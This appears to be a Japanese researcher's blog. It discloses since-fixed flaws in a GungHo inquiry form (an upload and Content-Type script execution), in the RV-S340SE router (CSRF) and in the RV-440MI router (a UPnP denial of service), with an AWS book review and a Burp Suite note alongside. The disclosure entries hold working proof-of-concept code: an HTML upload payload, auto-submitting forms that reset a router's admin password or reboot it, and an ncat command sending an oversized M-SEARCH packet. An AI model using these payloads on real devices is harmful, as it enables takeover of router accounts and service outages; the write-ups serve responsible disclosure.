Hatena::ブログ(Diary)

思い立ったら書く日記

 

2016-06-05

ガンホー問い合わせフォームにおけるアップロードファイルに起因する脆弱性が修正された

| 20:54 | ガンホー問い合わせフォームにおけるアップロードファイルに起因する脆弱性が修正されたを含むブックマーク

2016 年 5 月 3 日、ガンホー・オンライン・エンターテイメント株式会社(以降、ガンホー社)に「République(リパブリック)」について問い合わせるとき、お問い合わせフォームに脆弱性を発見しました。同日中にガンホー社および IPA に報告したところ、同月 31 日、当該脆弱性が修正されました。

アップロードファイルに起因する脆弱性

要約

ガンホー社の問い合わせフォームでは、クエリストリングで Content-Type を指定できる実装でした。アップロードファイルを確認するウェブページで、この実装を悪用して、ウェブブラウザ上で任意のスクリプトを実行できました。

脆弱性があったお問い合わせフォーム

当該お問い合わせフォームでは、ユーザが問い合わせに関するファイルをアップロードできます(下図*1)。このアップロード機能では、ファイルの拡張子を検証していますが、ファイルの中身(マジックバイトなど)を検証していないようです。スクリプトを含む HTML ファイルを「a.jpeg」で保存すると、当該お問い合わせフォームに「a.jpeg」をアップロードできました。

f:id:kaito834:20160602011800p:image:w467:h202


お問い合わせを送信する前に、アップロードしたファイルをウェブページで確認できます。このウェブページでは、クエリストリングに「mime」パラメータを指定でき(左下図)、このパラメータの値が Content-Type ヘッダにそのまま出力されました。試しに mime=text/plain と指定すると、Content-Type: text/plain; charset=utf-8 と出力されました(右下図)。

f:id:kaito834:20160602011801p:image:w352:h170f:id:kaito834:20160602011803p:image:w352:h170

脆弱性の再現手順

下記の (a), (b) の手順で脆弱性を再現できました。

(a) 当該問い合わせフォームに下記のHTMLファイルを「a.jpeg」としてアップロードする

<html>
<head>
<title>test</title>
<script>alert(1);</script>
</head>
<body>
</body>
</html>

(b) 当該脆弱性のあるウェブページに遷移して、「mime」パラメータに「text/html」を指定する。この結果として、アラートダイアログがポップアップ表示できた(下図)。

f:id:kaito834:20160604010136p:image:w464:h190

この脆弱性による脅威

ガンホー社には、「contact.gungho.jp ドメインを使ったフィッシングサイトに悪用されること」を脅威としてお伝えしました。

ガンホー社による脆弱性の修正

2016 年 5 月 29 日、報告したウェブページで改めて再現手順を実施したところ、「mime」パラメータが削除されていました。このとき、Content-Type ヘッダには、image/jpeg; charset=utf-8 または text/plain; charset=utf-8 が設定されていました。

ウェブブラウザContent-Type ヘッダの値
Google Chrome 50.0.2661.102 m(左下図)image/jpeg; charset=utf-8
Mozilla Firefox 46.0.1image/jpeg; charset=utf-8
MS Edge 25.10586.0.0(右下図*2text/plain; charset=utf-8
f:id:kaito834:20160604013214p:image:w374:h236f:id:kaito834:20160604013212p:image:w432:h212

前述の手順で脆弱性が再現しなくなったものの、任意のファイルをアップロードできることは変わりません。このため、IE8 などのウェブブラウザではまだセキュリティ上の問題が発生する可能性があります(2016 年 1 月 13 日で IE8 のサポートが終了していますが)。そこで、ガンホー社に修正完了確認を問い合わせたときに、X-Content-Type-Options: nosniff を提案しました。実際に X-Content-Type-Options ヘッダを出力するかは、ガンホー社の判断次第になります。

発見から修正までの時系列

年月日アクション
2016年5月3日ガンホー社および IPA脆弱性を報告
同日ガンホー社から一次返信
2016年5月6日ガンホー社から「担当部署に連絡した」との返信
同日IPA から届出情報受信の返信
2016年5月10日IPA から届出情報受理の連絡
2016年5月11日IPA から届出情報をガンホー社に通知したとの連絡
2016年5月29日脆弱性が修正されたことを確認
同日ガンホー社に修正完了確認を問い合わせ
2016年5月30日IPA から修正完了の連絡
同日ガンホー社から問い合わせへの回答
2016年6月1日IPAガンホー社に「脆弱性情報および時系列を公表すること」の連絡を依頼
2016年6月3日IPA からガンホー社への情報展開および取扱い終了連絡
2016年6月5日この日記を公開

さいごに

脆弱性を修正いただいたガンホー社、報告から修正および取扱終了まで調整いただいた IPA、ご対応ありがとうございました。

*1:2016 年 6 月 2 日に取得したスクリーンショット

*2:2016 年 6 月 4 日に取得したスクリーンショット

2015-04-11

「Amazon Web Services パターン別構築・運用ガイド」を読んだ

| 15:04 | 「Amazon Web Services パターン別構築・運用ガイド」を読んだを含むブックマーク

2015 年 03 月 25 日に「一番大切な知識と技術が身につく Amazon Web Services パターン別構築・運用ガイド」(以降、パターン別構築・運用ガイド)が出版されました。著者の一人、佐々木 拓郎 氏のブログで興味を持ち、当該書籍を読みました。この日記では、感想と読書メモを記録します。

感想

AWS を使ったシステムを構築する、または AWS を使ったシステムを運用する技術者だけではなく、AWS を使ってシステムをレビューする技術者にも役に立つ書籍だと感じました。

僕は AWS を使ったシステムを構築または運用していませんが、AWS を使ったシステムをセキュリティの観点からレビューする場合があります。そのときには、AWS の仕様やセキュリティ機能などの知識が必要です。最終的には AWS 公式ドキュメントを確認しますが、AWS の全般的な知識があれば、どういった点を確認すればよいかポイントを絞れます。この書籍は、そういった全般的な AWS の知識を得る上でとても役に立ちます:)

類似した書籍には「Amazon Web Services クラウドデザインパターン実装ガイド」(以降、実装ガイド)(2013 年 02 月 03 日出版) がありますが、「パターン別構築・運用ガイド」では、「実装ガイド」でふれていない Elastic Beanstalk / Cloud Formation / Cognito などを使った構築例や IAM にも言及しています。また、セキュリティに関する言及も豊富です。例えば、「AWS のセキュリティ」という独立した章、AWS アカウント(通称 root アカウント) における MFA(Multi-Factor Authentication) を有効にすべき項目として紹介する*1、などです。

AWS 公式ドキュメントなどで詳細・不明点を確認するための道しるべとして、この書籍を活用するつもりです。著者の皆様、よい書籍を執筆していただき、ありがとうございました!

読書メモ

  • 当該書籍を読んで、気になった記述をピックアップおよび引用しました。
  • 主に AWS の仕様やセキュリティに関する事柄が該当します。
  • 斜体の文章は当該書籍からの引用です。
Chapter1 AWSの基本
  • pp.22-23 AWSネットワークとVPCネットワーク
    • AWS サービスを AWS ネットワーク、VPC ネットワークごとに分類
    • AWSネットワークはインターネットからのアクセスできるネットワークのこと
    • VPCネットワークはVPC環境内の閉じられたネットワークのこと
  • pp.24-27 Amazon Elastic Compute Cloud
  • pp.27-29 Amazon Elastic Block Store
    • EBSの暗号化
      • AES-256アルゴリズム
      • 暗号化オプションを有効にしたSnapshotを他のAWSアカウントと共有すること、AWS利用ユーザにパブリックに公開することはできない
  • pp.30-33 Amazon Simple Storage Service
    • S3の暗号化
      • サーバサイト暗号化(SSE), AES-256アルゴリズム
      • Amazon S3キー管理(SSE-S3)
      • クライアントキー(SSE-C)
      • AWS KMS(SSE-KMS)
    • S3のアクセス管理
      • バケットポリシー、ACL、IAMでの制御の3つ
      • 表 1-3-1 S3のアクセス管理の単位
  • pp.35-42 Amazon Relational Database Service
    • RDSインスタンスへのアクセスポート
      • RDSインスタンスへは、特定のポートとプロトコルでしかアクセスできません
    • RDSのログ
      • AWSマネージメントコンソール等からRDSのログを確認することができます
    • パラメータグループ
    • オプショングループ
  • pp.47-51 Amazon ElastiCache
    • パラメータグループ
  • pp.61-63 AWSの料金体系
    • 従量課金には、時間ベース、容量ベース、回数ベースの3つがあります
    • 容量ベース
      • ネットワーク課金の考え方としては、インとアウトがあります。外のネットワークからAWSへの通信をインと呼び、AWSから外部のネットワークへの通信はアウトと呼びます。インについては、基本無料です。アウトの通信に対して、1GBあたり幾らという計算の仕方で課金されます
Chapter2 AWSを利用する
  • pp.68-76 AWSアカウントの作成
    • MFA(Multi-Factor Authentication)の設定
      • AWSマネージメントコンソールにサインインして、最初に行うことはMFA(Multi-Factor Authentication)の設定です...特に、現在ログインしているアカウントはルートアカウントと呼ばれ、AWSに対するあらゆる権限を持っています。これが乗っ取られると、AWSのリソースが思うままに使われ、莫大な料金が請求されるだけではなく、最悪の場合、犯罪に利用されることもあります
  • pp.76-91 ユーザアカウントの作成(IAMアカウント)
    • アクセスキーの入手
      • ただし、同じアクセスキーは二度とダウンロードできないので、ダウンロードしたCSVファイルは注意して管理してください
    • IAMポリシー
      • ポリシーは、Managed PoliciesとInline Policiesの2種類があります
  • pp.116-117 Default-VPC
  • pp.118-132 Custom-VPCを作成する
    • VPCネットワークの作成
      • Tenancyで「Dedicated」を設定すると、EC2インスタンスを起動するホストサーバを指定(占有)できます。セキュリティやコンプライアンスの問題で、ホストサーバを他システムと共有することが許されない場合等に使用します
  • pp.133-136 AWS操作用の公開鍵・秘密鍵の作成(KeyPair)
    • AWS外部で作成した公開鍵のインポート
      • 表2-5-2 インポートできる鍵の制限
  • pp.137-142 Security Groupを作成する
    • Security GroupはAWSにおいてファイアウォールの役割を果たします。Security GroupはWhite List方式なので、「何を許可するのか」のみを指定できます。何も指定しなければ、全てを拒否することになります
  • pp.159-162 Elastic IP(EIP)の利用
    • EC2に割り当てることのできるグローバルIPには、2種類あります。1つは、先ほど利用したパブリックIP、もう1つがElastic IP(EIP)です
  • pp.163-167 ELBサービスの詳細
    • External-ELBとInternal-ELB
    • SSLターミネーション
    • スティッキーセッション
      • スティッキーセッションとは、同じユーザからきたリクエストを同じインスタンスで処理させるようにする機能です。ELBのスティッキーセッションは、ELBが独自に発行するCookieを利用する方式と、アプリケーションが発行したCookieを利用する方式の2種類が選択できます
    • ログ取得機能
      • ELBで処理したリクエストのログを取得することができます
Chapter3 パターン別構築例
  • pp.233-239 Elastic Beanstalkを利用したロードバランシングとHTTPSサイトの構築
    • ELB、RDS、Auto Scalingの設定変更
      • SSL証明書は前節でアップロードした証明書を利用します...証明書をアップロードしたのはELBの画面ですが、AWS側ではIAMのなかに保存されています
  • pp.256-263 CloudFrontとの連携
    • 表3-3-4 Distributionの設定(Default Cache Behavior Settings)
      • Forward Cookies
      • Forward Query Strings
      • Restrict Viewer Access
    • 表3-3-5 Distributionの設定(Distribution Settings)
      • Logging
  • pp.275-278 Auto Scaling使用時のEC2インスタンスの初期化処理
  • pp.327-331 EC2インスタンスにメールサーバを構築する
    • メール送信に必要な準備
      • AWSでは、不適切なメール(スパムメール等)の送信に利用されることを防ぐため、パブリックIPやEIPから一定以上のメールが送信できないように制限されています。また、パブリックIPやEIPは原則としてRBL(Real-time Blackhole List)に登録されています。これらは不用意に不適切なメール送信を防ぐことを目的としています
  • pp.342-348 Cognitoによるユーザ認証と2Tierアーキテクチャ
    • Cognitoは、モバイル向けに設計されたAWSの認証・認可のサービスです。Cognitoを利用することにより、アクセスキーとシークレットキーを利用しない認証の仕組みを実現できます
    • Cognitoを中心としたユーザ認証とアクセス認可
      • 構成要素としては、Identity Providerによる認証と、CognitoによるCredentialの発行、IAMロールによる権限の付与の3つの要素になります
      • Cognitoの機能は従来から提供されていたSTS(Security Token Services)を利用したWeb Identity Federationと非常に似ています。Cognitoの内部的には、STSを利用しているというところは同じで、認証やロールの設定等がより簡単に使えるラッパー的なAPIと考えることができるかもしれません
Chapter4 AWSのセキュリティ
  • pp.365- AWSのアカウント種類
    • IAMポリシー
      • AWSが最初から設定しているポリシーをAWS Managed Policiesといい、各ユーザが独自に作成したポリシーをCustomer Managed Policiesといいます
      • IAMマネージドポリシーは、2015年2月に提供された新しいポリシーの管理方法です。IAMユーザやグループ、ロールといった各役割に付与する権限を、オブジェクトとして管理できるようになりました...これまでのポリシー管理方法は「マネージドポリシー」に対して、インラインポリシーとよばれます
Chapter5 管理と運用
  • pp.430-431 AMIの運用方法
    • AMIのオンライン取得
      • AMIはEC2インスタンスが稼働している状態でも取得することは可能です
  • pp.432-435 AWSのサービスログ/操作履歴のログを収集保存する
    • AWSサービスのログを収集する
      • S3のログの注意点としては、2015年2月現在では、ベストエフォート型で全てのアクセスログが完全に出力するという保証はありません。また、ログ出力はリアルタイムではなく、少し遅れて出力されます

2014-11-29

Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6

| 16:07 | Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6を含むブックマーク

The following errors happened when I used Burp Suite Free Edition v1.6 with upstream proxy; @ posted an image of these errors. Thanks for @anshuman_bh and @, I have known solutions for the errors. And, I blogged this entry for someone who may face the errors.

Attempting to auto-select SSL parameters for <FQDN>
Failed to auto-select SSL parameters for <FQDN>
javax.net.SSLException: server certificate change is restricted during renegotiation
server certificate change is restricted during renegotiation

Solution

  • Use latest Burp Suite

Burp Suite v1.6.07 applied a workaround related to the errors by @Burp_Suite (tweet). If you use Burp Suite Free Edition, I use, you cannot update to date soon. Then you can do some workarounds.

Workarounds
  • Use Burp Suite without upstream proxy by @anshuman_bh (tweet)
  • Use Java 1.7_67 and earlier version; it is bad for security reason.
    • The errors happened with Java 1.7_71 .
    • I confirmed that it was not the errors Burp Suite with Java 1.7_67 .
  • Use Burp Suite with OWASP ZAP by @ and @ (tweet)
    • Burp Suite -> OWASP ZAP -> upstream proxy

2014-11-20

ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

| 01:30 | ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されたを含むブックマーク

2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式)から再現手順を引用します。

2. 脆弱性関連情報
(snip)
  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:ひかり電話ルータ (RV-S340SE)
     バージョン:14.07
(snip)
  3) 脆弱性の種類
     クロスサイト・リクエスト・フォージェリ


  4) 再現手順
     RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値
     を送信させるウェブページに、RV-S340SE にログインした利用者を
     誘導することでクロスサイト・リクエスト・フォージェリが再現で
     きます。

     この再現手順では、「RV-S340SE のウェブ管理インターフェイスの
     パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ
     の手順を示します。

     ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(change password) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="loginpass_user_input">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="loginpass_user_pass" value="exploit">
     <input type="hidden" name="loginpass_user_passcfm" value="exploit">
     <input type="hidden" name="mbg_set" value="設定">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。
         このとき、パスワードには「exploit」を指定する。

         (2) でログインしたときのパスワードが (1) で指定したパス
         ワード「exploit」に変わっていることを確認できます。

     ■「RV-S340SE を再起動させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(Reboot) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="reboot">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="mbg_reboot_set" value="再起動">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) RV-S340SE が再起動することを確認できます。

報告から取扱終了までの時系列

手元に残っている記録をもとに時系列をまとめました。IPA から質問いただいた記録もないため、報告した後には取扱終了まで音沙汰がなかったと思います。

年月日事柄
2011/09/26IPA脆弱性情報を報告
2012/12/10ファームウェア Ver.17.03 がリリース
2012/12/25ファームウェア Ver.17.04*1 がリリース
2014/10/21IPA から取扱終了の連絡をいただく。同日、取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1IPA からは「届出頂いた脆弱性に対する修正を実施したファームウェアを 2012 年 12 月にリリースした」と連絡いただきました。このことから、17.03 または 17.04 のどちらかで当該脆弱性が修正されたと判断しました。

2014-11-07

ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された

| 22:20 |  ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された を含むブックマーク

2014 年 7 月 7 日、ひかり電話ルータ「RV-440MI」における Portable SDK for UPnP脆弱性JVNVU#90348117)が修正されました。2013 年 2 月に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。

この日記では、この脆弱性について、次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • 脆弱性の再現手順
  • 取扱終了となった理由
  • 報告から取扱終了までの時系列

脆弱性を発見した経緯

Nmap の NSE スクリプト「upnp-info」を試用していたとき、当該脆弱性の可能性を確認しました。

2013 年 2 月 11 日の日記を書いた頃、UPnP を調べていました。この過程で「RV-440MI」に「upnp-info」を実行したところ、下記の結果*1を得ました。この Server ヘッダの「Intel SDK for UPnP devices/1.3.1」をみたところ、「ん?」と思いました。JVNVU#90348117VU#922681)の脆弱なバージョンに該当するのではないかと。

そこで、「Security Flaws in Universal Plug and Play」 p.17 の情報にもとづく単純な実証コードを試行したところ、当該製品の UPnP サービスが DoS 状態となりました。この結果から脆弱性の存在を確信して IPA に報告しました。

$>nmap -sU -p1900 --script=upnp-info.nse -n 192.168.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-02-04 02:09 東京 (標準時)
Nmap scan report for 192.168.0.1
Host is up (0.00s latency).
PORT     STATE SERVICE
1900/udp open  upnp
| upnp-info:
| 192.168.0.1
|     Server: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|     Location: http://192.168.0.1:49152/gatedesc.xml
|       Webserver: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|       Name: RV-440MI
(snip)
|_      Model Version:
MAC Address: 38:E0:8E:XX:XX:XX (Mitsubishi Electric Co.)

Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式はこちら)から再現手順、検証コードなどを引用します。なお、引用文の「RV-440MI_malformed-msearch.pcap」を Cloudshark にアップロードしました(こちら)。

  4) 再現手順
     (1) 8) の検証コードをテキストファイルに保存する。
         本手順では、「m-search_malformed.txt」とする。

     (2) Nmap 6.25 に同梱されている「ncat」を使って、検証コードを
         対象製品に送信する。

         $> ncat -u --send-only 239.255.255.250 1900 < m-search_malformed.txt
         または
         $> ncat -u --send-only 192.168.0.1 1900 < m-search_malformed.txt
         (192.168.0.1 は対象製品の IP アドレス)

     (3) Nmap にて 1900/udp にポートスキャンを実行すると、Nmap の
         実行結果が closed となっていることが確認できます。

         $> nmap -sU -p 1900 -n 192.168.0.1

         実際には対象製品から ICMP Port Unreachable という応答が
         返ってきています。

     (2) でマルチキャスト宛に M-SEARCH リクエストを送信した結果、
     および (3) のポートスキャンの結果をパケットキャプチャファイ
     ルに保存しました。
     添付ファイル:RV-440MI_malformed-msearch.pcap

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに

     4) 再現手順の (2) を 1 回送信しただけでは、(3) の結果が得ら
     れない場合がありましたが、2,3 回送信することで再現すること
     を確認しています。

(snip)

  8) 検証コード
     この検証コードは、Rapid7 社「Security Flaws in Universal Plug
     and Play」p.17 に記載されているコードを基に作成しました。
     https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf

--- ここから ----------------------------------------------------
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:anything
Man:"ssdp:discover"
MX:3

--- ここまで ----------------------------------------------------

取扱終了となった理由

2014 年 10 月 14 日、IPA から「製品開発者が全ての製品利用者を把握しており本制度の適用範囲に該当せず、かつ全ての製品利用者への対策が完了しているため、本件の取扱いを終了」するとの連絡をいただきました。このとき、情報セキュリティ早期警戒パートナーシップガイドラインの該当箇所も提示いただきました(下記参照)。

すでに脆弱性が修正されており、反論する根拠もなかったため、僕は取扱終了に同意しました。

  III.本ガイドラインの適用の範囲
   本ガイドラインの適用の範囲は、脆弱性により不特定多数の人々に
   被害を及ぼすもので、以下に挙げるものを想定しています。

  IV.ソフトウエア製品に係る脆弱性関連情報取扱
   3.IPA および JPCERT/CC の対応
    (1) IPA
      7) 脆弱性関連情報受理後の対応
      IPA は、JPCERT/CC に通知した脆弱性関連情報に関して、以下の
      いずれかに該当する場合、発見者に連絡するとともに、処理を取
      りやめることがあります

      (ウ) 製品開発者がすべての製品利用者に通知する場合(システム
           構築事業者を介して通知するケースを含む

報告から取扱終了までの時系列

年月日事柄
2013/02/05IPA脆弱性情報を報告
2013/02/07IPA から脆弱性情報を受理したとの連絡をいただく
2013/05/13IPA から脆弱性情報に関する質問をいただく。同日、質問に回答
2014/07/07ファームウェア Ver.06.01.0019 がリリース
2014/07/09ファームウェア Ver.06.01.0019 で事象が再現しないことを確認
2014/07/10IPA に対応状況を質問
2014/07/25IPA から「Ver.06.01.0019で脆弱性が修正されたこと」を連絡いただく。また「製品開発者は当該製品の利用者を全て把握していること」をふまえて、届出の取扱いを検討するとのこと
2014/09/11IPA に検討状況を確認
2014/09/12IPA および JPCERT/CC にて製品開発者からの「全ての利用者を把握している」正式な連絡内容を確認しているとのこと
2014/10/14IPA から取扱終了の連絡をいただく
2014/10/19取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1:MAC アドレスの下位 3 バイトを XX:XX:XX でマスクしました。